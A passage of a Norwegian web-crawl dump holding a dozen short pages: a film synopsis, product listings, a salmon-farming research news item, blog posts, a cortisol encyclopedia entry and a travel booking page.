p\u00e5 et ufornufts-ekteskap. Dadan har hatt problemer med \u00e5 f\u00e5 giftet bort sin yngste s\u00f8ster, Afrodita, som er s\u00e5 lita at folk kaller henne teskjekjerringa. Han vil stryke Matkos gjeld om Afrodita f\u00e5r gifte seg med Matkos s\u00f8nn Zare.  \n  \nMen Zare er forelsket i Ida, den vakre og lidenskapelige piken som serverer ved den lokale restauranten. Afrodita p\u00e5 sin side dr\u00f8mmer om en mild kjempe som skal komme \u00e5 ta henne med storm. P\u00e5 bryllupsdagen gj\u00f8r b\u00e5de Zare og Afrodita oppr\u00f8r. Mitt i kaoset av den forrykende sig\u00f8ynerfesten hjelper Zare Afrodita med \u00e5 flykte.  \n  \nDadan oppdager at han har blitt lurt og setter etter den flyktende bruden. Til slutt finner de henne i armene p\u00e5 Grgas eldste s\u00f8nnes\u00f8nn, den enorme Grga Mali. Han har hele sitt liv lett etter en liten dame til kone, en kone han kan ha plass til i brystlommen. Teskjekjerringa Afrodita er perfekt. Det er kj\u00e6rlighet ved f\u00f8rste blikk.  \n  \nBestefar Grga Pitic overtaler Dadan til \u00e5 la kj\u00e6rligheten f\u00e5 bestemme, og noe motvillig g\u00e5r Dadan med p\u00e5 at Afrodita kan f\u00e5 gifte seg med sin kjempe. N\u00e5r n\u00e5 Zare er blitt fri fra teskjekjerringa, kaster han seg sporenstreks over Ida. Folkemengden jubler og det arrangeres umiddelbart et dobbeltbryllup. Under festen braker rene helvete l\u00f8s. Grga Pitic d\u00f8r plutselig, Zarije v\u00e5kner opp fra de d\u00f8de og Dadan f\u00f8r sin fortjente straff. Zare og Ida ser sitt snitt til \u00e5 stikke fra kaoset med et trekkspill fylt av penger, en prest og to vitner til vielsen - en sort og en hvit katt.  \n\n\u00a0\n\n# Arthaus - Stiftelsen for filmkunst\n\nNedre gate 7, 0551 Oslo\n\n", "language": "no", "__index_level_0__": "8e6d55a6-e1c3-483d-8769-3fbff1753adc"}
{"url": "https://www.junkyard.no/byxa-anthem-5", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00693.warc.gz", "warc_date": "2018-03-24T23:34:35Z", "text": "# Bukse - Anthem\n\n Rangering:  ()\n\nFarge: Dune  \nSnowboardbukse fra Analog med vind- og vanntett ytre.  \n  \nInformasjon:  \n\\- Vanns\u00f8yle / Pusteevne: 10,000 mm / 10,000 g.  \n\\- Forseglede s\u00f8mmer.  \n\\- Seks framlommer og to baklommer.  \n\\- Meshf\u00f4ret ventilasjon p\u00e5 innsiden av l\u00e5rene.  \n\\- Sn\u00f8l\u00e5s i benslutt.  \n  \nMateriale:  \nYtre: 100% Nylon.  \nMembran: 100% Polyuretan.  \nF\u00f4ring 100% Polyester.  \nF\u00f4ring / Taffeta: 100% Nylon.  \n  \nModellen er 182 cm og avbildet i M.  \n  \nPlaggets tykkelse er betraktet som 2 p\u00e5 en skala mellom1 og 3, der 1 tilsvarer et tynt plagg uten\n\n", "language": "no", "__index_level_0__": "f20f0ba8-6efe-4697-91d2-1a7ed96a9e88"}
{"url": "https://www.kystmagasinet.no/nyheter/oppdrett/felles-forskningstiltak-for-laksenaringen/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-24T23:23:50Z", "text": "        ### Ny flott pelagisk tr\u00e5ler d\u00f8pt\n        \n# Felles forskningstiltak for laksen\u00e6ringen\n\n \n\n30/03/2008\n\n2007 var et godt \u00e5r for laksen\u00e6ringen. Men vil de gode tidene vare? Et nytt forskningsprosjekt skal kartlegge \u00e5rsaker til, og konsekvenser av endrede produksjonsregimer i norsk lakseoppdrett, melder FHF.\n\n-----\n\n( 30.03.2008 )\n\nFjor\u00e5ret var spesielt for norsk laksen\u00e6ring. N\u00e6ringa hadde en betydelig produksjonsvekst, og man s\u00e5 en markant \u00f8kning i st\u00f8rrelsen p\u00e5 gjennomsnittslaksen. Denne endringen fikk ogs\u00e5 konsekvenser for prisbildet for laks og for den generelle markedsutviklingen, blant annet hvilke land laksen ble solgt i.\n\n\u00a0\n**Hva ligger bak?  \n**\u00c5rsakene til endringene kan v\u00e6re mange. Det nye reguleringssystemet med Maksimal Tillatt Biomasse (MTB) er av mange nevnt som mulig \u00e5rsak. Likeledes er det pekt p\u00e5 at temperaturvariasjoner kan ha hatt effekt p\u00e5 produksjonsregimet. Videre kan en finne forklaring p\u00e5 endringene fra \"normale\" st\u00f8rrelser og slaktetidspunkt i avlsgevinster, nye tidspunkt for smoltutsett eller endringer i markedene.\n\n\u00a0\n\n**\n\n*FHL, NSL og FHF skal gj\u00f8re en felles forskningsinnsats for laksen\u00e6ringen. (foto: Edmund Mongstad)*\n\nM\u00e5let med det nye forskningsprosjektet er \u00e5 skaffe kunnskap om \u00e5rsakene til endringene i produksjonssyklusene for norsk lakseoppdrett. Prosjektet vil belyse hvilke konsekvenser disse endringene vil ha for utvikling i priser og markeder. Dette vil ogs\u00e5 gi informasjon som er viktig for det markedsarbeid som gj\u00f8res. Prosjektet skal gi svar p\u00e5 om endringene er kommet for \u00e5 bli, eller om dette var konsekvenser av spesielle forhold, og at endringene derfor var av midlertidig karakter. Prosjektet skal dermed gi svar p\u00e5 hva vi kan forvente av produksjon og markedsutvikling for 2008.\n\n\u00a0\n**Usikre sammenhenger**  \nDet vil v\u00e6re av stor betydning \u00e5 f\u00e5 mer inng\u00e5ende kunnskap om markedenes preferanser for stor laks. Per i dag kjenner en for lite til i hvilken grad enkelte markeder foretrekker stor laks mer enn andre. Prosjektet skal gi en indikasjon p\u00e5 sammenhenger mellom st\u00f8rrelse, pris og markeder.\n\n\u00a0\nResultatene vil v\u00e6re viktig kunnskap for det markedsarbeid som utf\u00f8res p\u00e5 vegne av norske laksen\u00e6ring i dag. Det er ogs\u00e5 av betydning for Norges handelspolitikk at en kjenner utviklingen i produksjonssyklusene i norsk lakseoppdrett, for \u00e5 kunne jobbe p\u00e5 best mulig m\u00e5te for n\u00e6ringa.\n\n\u00a0\n**Prosjektgjennomf\u00f8ring**  \nProsjektet skal gjennomf\u00f8res av Universitetet for milj\u00f8- og biovitenskap i samarbeid med Universitetet i Stavanger, p\u00e5 oppdrag av Fiskeri- og Havbruksn\u00e6ringens Landsforening (FHL), Norske Sj\u00f8matbedrifters Landsforening (NSL) og Fiskeri- og havbruksn\u00e6ringens forskningsfond (FHF)\n\n", "language": "no", "__index_level_0__": "cefaadef-729c-4dc3-af16-576f7e04a63e"}
{"url": "http://ertzgaard.net/291-2/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00363.warc.gz", "warc_date": "2018-03-24T23:36:20Z", "text": "# Silverwind \u2013 gull fra Microsoft \n\n28\\. juni 2007/0 Kommentarer/i Hjem /av Gubben\n\nMicrosoft, et amerikansk programvareselskap, leverer imponerende programvare. Ikke s\u00e5 merkelig kanskje, med for selskapet har titusenvis av programmerere som holder til p\u00e5 selskapet sin Campus i Seattle.Microsoft har de siste \u00e5rene satset stort p\u00e5 \u00e5 overta markedet for digital mediebehandling p\u00e5 nettet, og leverer i disse dager plugin-systemet Silverwind, en konkurrent til og videreutvikling av Apples Quicktime, Microsofts egen Windows Media Player og RealPlayer blant andre. Det er derfor med spenning og forventning jeg installerer Silwerwind, spesielt med tanke p\u00e5 hvilke ressurser som har g\u00e5tt med til \u00e5 produsere dette nye plugin-systemet. Resultatet n\u00e5r jeg installerer det p\u00e5 min MacBook med OS 10.4.10 innabords er str\u00e5lende:Jeg gleder meg til fortsettelsen.\n\n", "language": "no", "__index_level_0__": "3ff392b7-880d-4e3f-aa54-51b43981493a"}
{"url": "http://www.amyjobrasil.com/peter-kaiser-dame-klassiske-pumps-merana-klassiske-pumps-schwarzpeter-kaiser-vaidernettbutikk-p-164.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:34:31Z", "text": "**Peter Kaiser footwear Peter Kaiser Dame Klassiske pumps , Peter Kaiser Dame Klassiske pumps MERANA - Klassiske pumps - schwarz,Peter Kaiser vaider,nettbutikk Peter Kaiser butikk oslo,p\u00e5litelig rykte**  \n\n  - Dekks\u00e5le: l\u00e6r\n  - Innermateriale: l\u00e6r\n  - H\u00e6lform: Skr\u00e5h\u00e6l\n  - H\u00e6lh\u00f8yde: 6.5 cm i st\u00f8rrelse 37,5\n  - F\u00f4r: sv\u00e6rt lett f\u00f4ret\n  - M\u00f8nster: dyreprint\n  - Lukking: \u00c5pen\n  - Skotupp: Spiss\n  - S\u00e5le: Syntentisk materiale\n  - overmateriale: Suede\n", "language": "no", "__index_level_0__": "757b42b1-aacd-4096-9fcf-46fe650babfb"}
{"url": "https://blog.prisync.com/no/pr-for-e-commerce-businesses-quick-tips/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00363.warc.gz", "warc_date": "2018-03-24T23:06:50Z", "text": "  Null Erden i E-handel strategi   \u00a0 Juni 27, 2016\n\n# PR for E-handel bedrifter: Bli h\u00f8rt\\!\n\n\n\nPR eller med andre ord PR er en verdifull kilde for \u00e5 bygge bedriftens merkevare image. N\u00e5r det gjelder e-handelsforetak gjelder samme regel. Din og autoritet i din bransje, kan godkjennes gjennom en effektiv PR-strategi. Vi h\u00e5per noen av v\u00e5re r\u00e5d kan hjelpe deg med det.\n\nDin PR-strategi b\u00f8r v\u00e6re basert p\u00e5 et klart budskap som resonerer med dine m\u00e5lgrupper, mediekanaler. Din innflytelse kan oppn\u00e5s gjennom en god kampanje som st\u00f8ttes av media, sosiale medier, trender og markedsplassen. Som vi har nevnt her tidligere, sosiale medier metodene for ulike kanaler er lett \u00e5 praksis. Men, Det er viktig \u00e5 bestemme PR m\u00e5lene f\u00f8r dem.. Fordi, grunnleggende budskapet og misjon skapt gjennom PR-planer vil forme din tiln\u00e6rming til publikum.\n\n\n\nEn godt planlagt PR-strategi gir deg mange muligheter til \u00e5 f\u00e5 pressedekning. Din PR-strategi kan bygge relasjoner med medier og bloggere og skape en positiv buzz. Denne positive engasjement vil sl\u00e5 deg mer trafikk og salg. En annen god ting om \u00e5 ha en solid PR stand er at du skal kunne ta mer aktive handlinger i en negativ situasjon. Din klimatiltak styrke p\u00e5virkes av PR. P\u00e5 denne m\u00e5ten kan du sikre at bedriftens e-handel omd\u00f8mme ikke vil bli skadet.\n\nDu b\u00f8r v\u00e6re klar over din m\u00e5lgruppe og m\u00e5let publikasjon. Du b\u00f8r f\u00e5 oppmerksomheten \u00e5 skape buzz. Du b\u00f8r tilpasse seg publikasjonens spesialiserte omr\u00e5der for \u00e5 bli lagt merke til av dem.. Du b\u00f8r utvikle muligheter til \u00e5 bli h\u00f8rt av medier og \u00e5 holde tritt med de nyeste trendene er en m\u00e5te \u00e5 gj\u00f8re det.\n\nSosiale medier er en annen viktig faktor for PR. Du b\u00f8r v\u00e6re aktivt postering p\u00e5 ditt utvalgte plattformer og engasjere publikum. Lage innhold vil ogs\u00e5 g\u00e5 h\u00e5nd i h\u00e5nd med dette og det er en flott m\u00e5te \u00e5 f\u00e5 folk til \u00e5 vite at du. Du kan m\u00e5lrette n\u00f8kkelm\u00e5lgruppe artikler eller innholdstypen du velger som videoen eller gif.\n\n\n\nLa oss ikke glemme om viktigste n\u00e5r det gjelder PR. Pressemeldinger\\! Tenk p\u00e5 dem som novelle om bedriften e-handel. Du kan snakke om hvordan du oppfyller tingene du har lovet som en merkevare. Du kan introdusere nye ansatte til sektoren og beskriver hans fagomr\u00e5de. You can describe your new product offerings, diskutere de seneste technological utviklingene, nevne kundeservice eller snakker om de nyeste trendene i bransjen som er relatert til virksomheten din. Kontroller at det er korrekturlese, kortfattet og forst\u00e5elig.\n\nLa oss anta at du har opprettet en pressemelding om bedriften e-handel. Du kan kontakte newswires som distribusjonssentre for dokumenter som din. De har etablert nettverk som de kan bruke til \u00e5 sirkulere pressemelding gjennom. Dette har selvsagt en avgift. En annen m\u00e5te du kan n\u00e6rme fordelingen er ved \u00e5 m\u00e5lrette bestemte publikasjoner. Du kan kontakte dem via e-post eller telefon og arbeide sjarm p\u00e5 dem..\n\nN\u00e5r du f\u00e5r din publikasjonen m\u00e5 holde kontakten med m\u00e5let publikasjoner. Hvis en blogger har nevnt din ny kategorien av produktene i en blogg kan du kommentere under innholdet eller sende et kort som er h\u00e5ndskrevet til person via e-post. Husk dette ikke vil v\u00e6re din siste pressemelding. Du b\u00f8r opprettholde tilkoblinger du har. Dette gjelder ogs\u00e5 for offentlige taler.\n\n\n\nEn annen type PR er offentlige taler. Kan du v\u00e6re en del av seminarer, hendelser eller paneler. P\u00e5 denne m\u00e5ten f\u00e5r du dekning du har v\u00e6rt craving for og du vil ogs\u00e5 f\u00e5 en sjanse til \u00e5 m\u00f8te mennesker fra bransjen og gj\u00f8re nye kontakter. En ting \u00e5 huske, Hvis du gir en pitch gjelder din virksomhet, \u00e5 v\u00e6re klar for alle slags sp\u00f8rsm\u00e5l. Du burde vite spillerne navn er bloggere, journalister som er der for \u00e5 opphisse deg med sine sp\u00f8rsm\u00e5l. Du b\u00f8r ogs\u00e5 tenke p\u00e5 flere vinkler av en historie. Dette vil hjelpe deg \u00e5 velge den beste vinkelen som gir gjenklang med m\u00e5let publikasjoner.\n\nProduktomtaler er flott for din troverdighet som er hovedm\u00e5let til PR-strategier. Din nettverk vil komme. For det f\u00f8rste, du b\u00f8r lage en liste over dine m\u00e5l utgivere og n\u00e5 dem. \u00d8ke produktomtaler. Du kan ogs\u00e5 gi intervjuer. Det er alltid noen journalister som er p\u00e5 utkikk etter en spennende historie. Du kan sjekke ut HARO (Hjelpe en Reporter) nettstedet for eksempel. Det kan v\u00e6re en reporter for \u00e5 finne en e-handel business \u00e5 skrive om. Det er mange flere av disse typer nettsteder men du \u00e5 oppdage dem..\n\nAlt i alt, Det er viktig \u00e5 bestemme merkevaren og m\u00e5lgruppen. Din tiln\u00e6rminger kan formes av dem og p\u00e5 denne m\u00e5ten har du st\u00f8rre sjanse \u00e5 resonere med m\u00e5lene. Sosiale medier er alltid v\u00e5r favoritt, men du b\u00f8r ogs\u00e5 fokusere p\u00e5 hendelser, offentlige taler, pressemeldinger etc. Vi \u00f8nsker deg lykke\\!\n\n-----\n\nPR (pr) n\u00f8kkelen til \u00e5 skape en god merkevare bilde.\n\n***Gode priser*** er en annen m\u00e5te \u00e5 lage en god merkevare bilde.\n\nPrisync, med sin ***Online pris sporing tjenester***, gir deg en ressurs som lar deg ***overv\u00e5ke dine konkurrenters pris 24/7 og over hele verden\\!***\n\n***REGISTRER DEG GRATIS FOR PRISYNC N\u00c5\\!***\n\n-----\n\n\n\n", "language": "no", "__index_level_0__": "e778629f-fd9c-434a-bca4-91d199ae0d4c"}
{"url": "http://fustianfuture.com/5950-jenter-alle-skuespillere.php", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00530.warc.gz", "warc_date": "2018-03-24T23:31:34Z", "text": "# Jenter alle skuespillere\n\n## 22\\. apr 2016 Uten noen form for promotering, har ungdomsserien rukket \u00e5 bli sv\u00e6rt popul\u00e6r og har f\u00e5tt fans i alle aldre. En n\u00f8ye kalkulert skriver Journalisten. Redaksjonssjef i P3, H\u00e5kon Moslet, begrunner det med skuespillernes unge alder, s\u00e5 podcast-intervjuet er trolig det f\u00f8rste en av Skam-skuespillerne har gjort.\n\n28\\. nov 2016 STOLT: Monia Berger er stolt over skuespillerne sine. Av barna og ungdommene som sto p\u00e5 scenen, var det en liten overvekt av jenter. \u2013 Det er litt f\u00e6rre gutter her. Men i teaterverden kan jenter spiller gutter ogs\u00e5, s\u00e5 s\u00e5nn sett s\u00e5 l\u00f8ser vi det. Men vi skulle gjerne v\u00e6rt flere. Her er alle velkomne, bekrefter\u00a012:15, The Science Library, Vilhelm Bjerknes' hus. 24 jan. Queer seminars: Identity Struggles: LGBT Activism in Morocco. 16:15, Sophus Bugges hus: Seminarrom 2. 25 jan. Kunnskapsproduksjon, diskurs(analyse) og makt \u2013 et seminar om Foucault. 12:30, Senter for tverrfaglig kj\u00f8nnsforskning, rom 420. Alle arrangementer\u00a0 linni og niklas 21. sep 2016 Og det var det nok ogs\u00e5 for Louis Vuitton, da de skulle finne en perfekt kandidat til \u00e5 ta over som muse og kampanjemodell etter skuespiller Michelle Hun har jobbet for mange av de store designerne, v\u00e6rt p\u00e5 coveret av alle de store magasinene, snart kommer hun med egen kolleksjon for Tommy Hilfiger,\u00a08. mar 2012 Visste ikke nok om jenter og steroider n\u00e5r jeg tok f\u00f8rste kuren, vet mye mer n\u00e5, men, det skremmer meg lissom ikke. Mange bivirkninger er verdt det p\u00e5 en m\u00e5te. Og det er jo ikke slik at man f\u00e5r alle bivirkningene som er omtalt, man kan f\u00e5 dem\\! Kommer til \u00e5 kj\u00f8re flere kurer fremmover, men holder meg til\u00a0 guds kj\u00e6rlighet er langt langt st\u00f8rre Norsk Tipping - Spill og resultater. Vi tilbyr spenning, underholdning og overskudd til gode form\u00e5l. V\u00e5r hovedoppgave er \u00e5 v\u00e6re b\u00e5de ansvarlig og levere attraktive spill.\n\n## 14\\. mai 2016 Det var store forventninger til NRK-serien under kveldens prisutdeling Gullruten. NRK har beskyttet skuespillerne og skjermet dem fra rampelyset lenge. Det mener jentene gjorde Gullruten-kvelden enda mer morsom. Serien var nominert til tre priser og skuespiller Josefine Pettersen (19), som spiller Noora,\u00a0\n\nbeste dating app 2017 norge 28. feb 2016 Den har litt over 16 000 medlemmer, de fleste er ungdommer (eller NATT\\&DAG-skribenter), og alle er Skam-fans. Det har v\u00e6rt god kok i forkant av sesong 2. Denne formen for nettdrama er noe NRK Super har holdt p\u00e5 med i flere \u00e5r, med seriene Sara, MIA og Jenter. Tanken var: N\u00e5r vi f\u00e5r det til med barn,\u00a0 m\u00f8te damer p\u00e5 nett nettbyskole 25. jan 2016 Foto: Odin J\u00e6ger Instrukt\u00f8rene kikker gjennom notatene sine, og skuespillerne lytter. Flere av F21-elevene m\u00e5 innr\u00f8mme at de ble overrasket da de h\u00f8rte at det skulle v\u00e6re tre kvinnelige instrukt\u00f8rer. \u2013 Jeg har ikke v\u00e6rt borti det f\u00f8r, men det har g\u00e5tt bra. De blir veldig fort enige siden de alle er jenter.\n\nbecky g dating history hvordan f norsk tastatur Bohus er Norges st\u00f8rste, landsdekkende m\u00f8belkjede. Vi lever ikke av markedsandeler, men forn\u00f8yde kunder. Vi har fristende varehus og god service.\n\ngave kj\u00e6reste youtube Jeg mistenkte jo iblant at det manglet noe i livet mitt, men var det ikke slik alle hadde det? Da hun var midt i tjue\u00e5rene, f\u00f8rte Karen promisku\u00f8se vennskap og hang med en gjeng som foreldrene mine kalte \u00abkunstnermilj\u00f8et\u00bb: folk som ville bli skuespillere, dramatikere og poeter, musikere og \u00abFordi det kommer jenter\\! kj\u00e6rlighet dikt p\u00e5 norsk Harajuku er historien om Vilde - en jente midt i ten\u00e5rene med fast tilholdssted p\u00e5 Oslo S, som del av en ungdomsgjeng. Det er lille julaften og alle er travelt p\u00e5 vei et sted. Ungdomsgjengen, sammensatt av barn fra flere milj\u00f8er, brytes ogs\u00e5 opp. Alle drar bortsett fra Vilde, som blir igjen og forteller forskjellige versjoner om\u00a0\n\n", "language": "no", "__index_level_0__": "9ebdcfe5-aaf7-4707-9af4-62d861cde4a4"}
{"url": "https://www.bravofly.no/fly/billig/taipei_chiang_kai_shek/mandarin-airlines", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:31:17Z", "text": "\n## Flybilletter til Taipei med Mandarin Airlines\n\nFor de som ikke klarer \u00e5 bestemme seg eller for de som leter etter inspirasjon for ferien har vi valgt ut de beste **tilbudene** fra over 15 millioner s\u00f8k utf\u00f8rt p\u00e5 v\u00e5rt nettsted.\n\nLeter du ogs\u00e5 etter en **billig reise til Taipei med Mandarin Airlines**? Hvis du ikke allerede har gjort det, fullf\u00f8r s\u00f8ket og vi vil tilby deg mangfoldige alternativer til Taipei med Mandarin Airlines p\u00e5 bare f\u00e5 sekunder.\n\nN\u00e5r du har fylt inn alle feltene i s\u00f8kemotoren for finne en **reise**, klikk p\u00e5 S\u00d8K FLY knappen. V\u00e5r s\u00f8kemotor vil gj\u00f8re akkurat det ditt tradisjonelle reisebyr\u00e5 gj\u00f8r, bare fortere og med flere resultater \u00e5 velge mellom.\n\nGj\u00f8r Bravofly til ditt **reisenettsted**. Bravofly tilbyr en komplett assistanse som ikke bare dreier seg om flyreiser men ogs\u00e5 bilutleie, hotellreservering og cruisereiser.\n\nEn av fordelene med Bravofly er at du kan kj\u00f8pe **flybilletter** til Taipei med Mandarin Airlines direkte p\u00e5 v\u00e5r side. Dette gj\u00f8r at du sparer tid og penger p\u00e5 reisen din.\n\n", "language": "no", "__index_level_0__": "64f1bca1-75f3-44be-93b8-441b37f73ce2"}
{"url": "https://sml.snl.no/kortisol", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00466.warc.gz", "warc_date": "2018-03-24T23:49:48Z", "text": "# kortisol\n\n## Forfatter av artikkelen\n    \n    \n    Jens Petter Berg\n    \n  - Etymologi  \n    av latin *cortex*, 'bark'\n\n  - Ogs\u00e5 kjent som  \n    cortisol, hydrokortison\n\nOBS\\! Det har kommet et endringsforslag p\u00e5 denne artikkelen som enn\u00e5 ikke er evaluert.\n\nKortisol, hydrokortison, det viktigste glukokortikoidet hos mennesker; produseres i binyrebarken i et lag av celler som kalles *zona fasciculata*. Syntesen av kortisol starter i cellenes mitokondrier, hvor sidekjeden til kolesterol blir kuttet av. Produktet som dannes, er pregnenolon (forstadium til kortikosteroider), og ved den videre omdannelsen produseres ogs\u00e5 progesteron og metabolittene 17\u03b1-hydroksyprogesteron og 11-deoksykortisol ved hjelp av enzymene 3\u03b2-hydroksysteroid dehydrogenase, 17\u03b1-hydroksylase og 21-hydroksylase i det endoplasmatiske retikulum. 11-deoksykortisol transporteres inn i mitokondriene igjen, hvor enzymet 11\u03b2-hydroksylase omdanner det til kortisol. Kortisol er fettl\u00f8selig og diffunderer fritt ut gjennom mitokondriet, ut av cellene og inn i blodbanen. Produksjonen av kortisol stimuleres av kortikotropin (ACTH) fra hypofysens forlapp. Niv\u00e5et av ACTH og kortisol er h\u00f8yest tidlig om morgenen og lavest om kvelden. Ved en negativ tilbakekobling hemmer kortisol frigj\u00f8ringen av ACTH.\n\nKortisol i blodsirkulasjonen er bundet til kortikosteroidbindende globulin. Ikke-bundet (fritt) kortisol kan passere cellemembraner og kan binde seg til og aktivere en glukokortikoid-reseptor i cellekjernen. Aktivering av reseptoren f\u00f8rer til at avlesingen av spesifikke gener reguleres opp eller ned, noe som f\u00f8rer til endret proteinsyntese i cellen. Kortisol og glukokortikoider virker i lever og skjelettmuskulatur slik at blodsukkeret \u00f8kes ved at de bryter ned glykogen og ved \u00e5 \u00f8ke nydannelsen av glukose. I tillegg hemmer kortisol opptaket og forbruket av glukose i perifere vev. Hormonet f\u00f8rer ogs\u00e5 til \u00f8kt nedbryting av fett i fettceller.\n\nKortisol hemmer immunforsvaret ved \u00e5 redusere immunologiske responser, og dette utnyttes i behandlingen av en del sykdommer. I tillegg hemmes produksjonen av benvev, utskillelsen av kalsium gjennom nyrene \u00f8kes, bindevevsdannelsen hemmes, og kortisol har en nedbrytende (katabol) effekt p\u00e5 skjelettmuskulaturen. Kortisol har ogs\u00e5 mineralkortikoid effekt (se mineralkortikoid hypertensjon).\n\nSykdommer kan for\u00e5rsakes av for lite (Addisons sykdom) og for mye kortisol (Cushings syndrom). Kortisol og syntetiske stoffer som etterligner effektene av kortisol, er blant de viktigste legemidlene og brukes bl.a. i behandlingen av allergiske sykdommer, autoimmune sykdommer, inflammasjoner, visse kreftformer og ved transplantasjoner.\n\nVil du sitere denne artikkelen? Kopier denne teksten og lim den inn i litteraturlisten din: Berg, Jens Petter. (2018, 12. mars). Kortisol. I Store medisinske leksikon. Hentet  fra https://sml.snl.no/kortisol.\n\nbegrenset gjenbruk.\n\n  - Skrevet av:\n    \n", "language": "no", "__index_level_0__": "5868b262-9e4e-4be6-baa6-cb957c5d4823"}
{"url": "https://www.junkyard.no/skor-eliot-9", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00682.warc.gz", "warc_date": "2018-03-24T23:33:47Z", "text": "# Sko - Eliot\n\nFarge: White/Midnight  \nArtikkel no: 1000363710\nThe Eliot er Macbeths moderne oppdatering av den klassiske modellen. Skoen er garantert 100% uten dyremateriale, og er laget av vegetabilsk materiale, og er limt sammen med et lim som er helt uten animalske biprodukter. The Eliot er Macbeths f\u00f8rste modell, og er fortsatt en av deres mest solgte.  \n  \nMateriale: Overdel i tekstil, og gripevennlig gummis\u00e5le.\n\n## St\u00f8rrelsesguide\n\n| --------- | ---- | ---- | ----- |\n| St\u00f8rrelse | EU   | US   | cm    |\n| 7         | 39.5 | 7    | 24.5  |\n| 7.5       | 40   | 7.5  | 25    |\n| 8         | 41   | 8    | 25.35 |\n| 8.5       | 41.5 | 8.5  | 26    |\n| 9         | 42   | 9    | 26.5  |\n| 9.5       | 42.5 | 9.5  | 27    |\n| 10        | 43   | 10   | 27.5  |\n| 10.5      | 44   | 10.5 | 28    |\n| 11        | 45   | 11   | 29    |\n| 12        | 46   | 12   | 30    |\n\n", "language": "no", "__index_level_0__": "dd791691-efee-476a-8921-7b8db2c6ffa6"}
{"url": "http://siriano.blogg.no/1301406852_outfit_pink_is_in_the.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00608.warc.gz", "warc_date": "2018-03-24T23:10:51Z", "text": "\n\n#### Linn\u00e9a\n\n02.04.2011 kl.20:36\n\nFint\\! Elsker stilen din :D og Teresa sin ^^\n\n\n\n#### Eva\n\n04.04.2011 kl.16:51\n\nHei\\! S\u013a utrolig kul blogg\\! Jeg elsker Harry Potter, og synes b\u013ade bildet p\u013a siden av bloggen og headeren var sinnsykt kule\\! \u0139ssen f\u013ar du til s\u013ann Harry Potter skrift?\n\n  \n", "language": "no", "__index_level_0__": "e50c9318-7f28-4876-9e43-5b6994b2d7d8"}
{"url": "http://oysteinj.typepad.com/weblog/2010/10/index.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-24T23:22:49Z", "text": "# Oystein Johannessens blog\n\n## October 2010\n\n## October 31, 2010\n\n### Because Digital Writing Matters: Nytt fra MacArthur-stiftelsen\n\nDen amerikanske MacArthur-stiftelsen har gjennom sitt program Digital Media and Learning\u00a0 \u00e5 unders\u00f8ke hvordan digitale media p\u00e5virker hvordan unge leker, l\u00e6rer, sosialiserer og deltar i samfunnslivet. En sentral formidlingskanal for programmet er bloggen Spotlight, som n\u00e5 har f\u00e5tt en ansiktsl\u00f8fting.\n\n\u00a0\nNylig fortalte Spotlight-bloggen om boken \"Because Digital Writing Matters\". Boken er et resultat av det amerikanske National Writing Project. Forfatterne har tatt m\u00e5l av seg til \u00e5 unders\u00f8ke hva l\u00e6rere og foreldre kan gj\u00f8re for \u00e5 utstyre elever og studenter med de kommunikasjonsferdigheter de trenger for fremtidens arbeidsliv. Boken har mange eksempler p\u00e5 hvordan digital skriveoppl\u00e6ring foreg\u00e5r i klasserommet.\n\n\u00a0\n\u00c5rets Norsk konferanse om IKT i offentlig sektor (NOKIOS) ble arrangert i Nidaros 26.-28. oktober. I \u00e5r samlet konferansen over 300 deltakere og ble \u00e5pnet av fornyingsminister Rigmor Aaserud.\n\n\u00c5rets program var bredt og godt sammensatt. B\u00e5de \u00e5pningsforedraget til fornyingsministeren og paneldebatten senere samme dag bar bud om at det er relativt bred enighet om hva som er de sentrale utfordringene i v\u00e5r nasjonale IKT-politikk og et felles blikk p\u00e5 hva som m\u00e5 til for \u00e5 adressere sentrale problemstillinger i et land med over 400 kommuner.\n\n\u00a0\nJeg holdt et innlegg p\u00e5 konferansens siste dag med tittelen \"Europeiske initiativer, eForvaltning og innovasjon i utdanning\". Foredraget var tredelt. I f\u00f8rste del trakk jeg noen tr\u00e5der fra den nye Digital Agenda for Europe og fjor\u00e5rets europeiske ministerekl\u00e6ring om eGovernment til den norske scenen med det sentrale poeng at norsk IKT-politikk og europeiske initiativer har en stor grad av sammenfall og at europeiske initiativer kan v\u00e6re nyttige benchmarks for norsk politikk. I andre del pekte meg jeg p\u00e5 at vi har en rekke nettsteder og tjenester i utdanningssektoren som faller innenfor kategorien eForvaltning, men vi har behov for \u00e5 styrke sektorens kompetanse p\u00e5 feltet. I tredje del av foredraget trakk jeg frem noen sentrale utfordringer mht IKT i utdanningen.\n\n\u00a0\n## October 26, 2010\n\n### klar for NOKIOS 2010\n\nI skrivende stund p\u00e5 Gardermoen for andre gang p\u00e5 tre d\u00f8gn, n\u00e5 p\u00e5 vei til Nokrsk konferanse for IKT i offentlig sektor, NOKIOS.  \n  \nI \u00e5r er det over 300 p\u00e5meldte. Fornyingsministeren \u00e5pner i \u00e5r som i fjor. Ellers et godt og variert program, se www.nokios.no\n\n", "language": "no", "__index_level_0__": "d88ed412-bbd3-49f7-b026-7924389af05e"}
